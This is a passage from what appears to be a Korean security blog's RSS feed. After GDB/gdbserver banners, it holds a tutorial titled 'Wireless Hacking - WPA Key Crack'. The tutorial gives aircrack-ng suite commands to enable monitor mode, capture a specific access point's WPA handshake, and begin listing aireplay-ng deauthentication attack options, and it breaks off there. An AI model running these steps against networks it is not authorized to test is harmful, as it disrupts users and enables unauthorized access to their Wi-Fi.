&amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;This is free software: you are free to change and redistribute it.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;There is NO WARRANTY, to the extent permitted by law. &amp;nbsp;Type &quot;show copying&quot;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;and &quot;show warranty&quot; for details.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;This GDB was configured as &quot;arm-linux-gnueabi&quot;.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;For bug reporting instructions, please see:&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/2443A04F57CCDBC216&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;gdb&lt;/a&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;GNU gdbserver (GDB) 7.5.1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Copyright (C) 2012 Free Software Foundation, Inc.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;gdbserver is free software, covered by the GNU General Public License.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;This gdbserver was configured as &quot;arm-linux-gnueabi&quot;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/213B864F57CCDBC31C&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;gdbserver&lt;/a&gt;&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Mobile/Android</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/275</guid>
      <comments>https://do9dark.tistory.com/275#entry275comment</comments>
      <pubDate>Mon, 5 Sep 2016 11:43:30 +0900</pubDate>
    </item>
    <item>
      <title>Wireless Hacking - WPA Key Crack</title>
      <link>https://do9dark.tistory.com/274</link>
      <description>&lt;p style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt; line-height: 20px;&quot;&gt;&lt;/span&gt;&lt;b style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x00.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;환경구성&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;OS : BackTrack 5 R3 (32-bit)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em; line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 10pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Kernel : Linux bt 3.2.6&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 1.5;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x01.&amp;nbsp;iwconfig&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 10pt; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;Configure a wireless network interface.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;iwconfig&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&amp;nbsp;is similar to ifconfig, but is dedicated to the wireless interfaces.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;iwconfig&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 672px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2677AD5057CAE70602&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2677AD5057CAE70602&quot; width=&quot;672&quot; height=&quot;221&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x02.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 22px;&quot;&gt;&lt;b&gt;airmon-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;b&gt;airmon-ng&lt;/b&gt; is script can be used to enable monitor mode on wireless interfaces.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140);&quot;&gt;airmon-ng &amp;lt;start|stop&amp;gt; &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;airmon-ng start wlan0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2104974F57CAE79308&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2104974F57CAE79308&quot; width=&quot;737&quot; height=&quot;683&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;div&gt;&lt;p&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;0x03.&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 22px;&quot;&gt;&lt;b&gt;airodump-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;A wireless packet capture tool for &lt;b&gt;aircrack-ng&lt;/b&gt;.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;airodump-ng [options] &amp;lt;interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;airodump-ng mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/21791B3E57CAE9492B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F21791B3E57CAE9492B&quot; width=&quot;737&quot; height=&quot;684&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;To capture a specific wireless.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;[Options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-c &amp;lt;channel&amp;gt;[,&amp;lt;channel&amp;gt;[, ...]]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;--channel &amp;lt;channel&amp;gt;[,&amp;lt;channel&amp;gt;[, ...]]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Indicate the channel(s) to listen to.&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;By default airodump-ng hop on 2.4GHz channels.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-w &amp;lt;prefix&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;--wirte &amp;lt;prefix&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Is the dump file prefix to use.&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;If this option is not given,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;it will only show data on the screen.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;Beside this file a CSV file with&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;the same filename as the capture will be created.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;[Filter options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;-d &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;--bssid &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: It will only show networks, matching the given bssid.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#ff0000&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(0, 0, 0);&quot;&gt;&lt;span style=&quot;font-size: 10pt;&quot;&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;airodump-ng -c 9 -d 64:e5:99:0f:38:e2 -w &amp;nbsp;WPA-Key mon0&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;WPA handshake collection&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 737px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2604B74C57CAEDAF27&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2604B74C57CAEDAF27&quot; width=&quot;737&quot; height=&quot;684&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;line-height: 1.5; font-size: 11pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 11pt; font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br class=&quot;Apple-interchange-newline&quot;&gt;0x0&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 14.6667px; line-height: 22px;&quot;&gt;&lt;b&gt;4. aireplay-ng&lt;/b&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;Inject packets into a wireless network to generate traffic.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;aireplay-ng &amp;lt;options&amp;gt; &amp;lt;replay interface&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;[Attack modes]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;-0 &amp;lt;count&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;--deauth=&amp;lt;count&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: This attack sends deauthentication packets to one or more clients&amp;nbsp;&lt;/span&gt;&lt;/font&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;which are currently associated with a particular access point.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 4em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;[Replay options]&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;-a &amp;lt;bssid&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;font color=&quot;#8c8c8c&quot; face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px;&quot;&gt;: Set Access Point MAC address.&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 6em;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; line-height: 20px; color: rgb(140, 140, 140); font-family: Menlo, Monaco, Consolas, monospace;&quot;&gt;-c &amp;lt;dmac&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;p 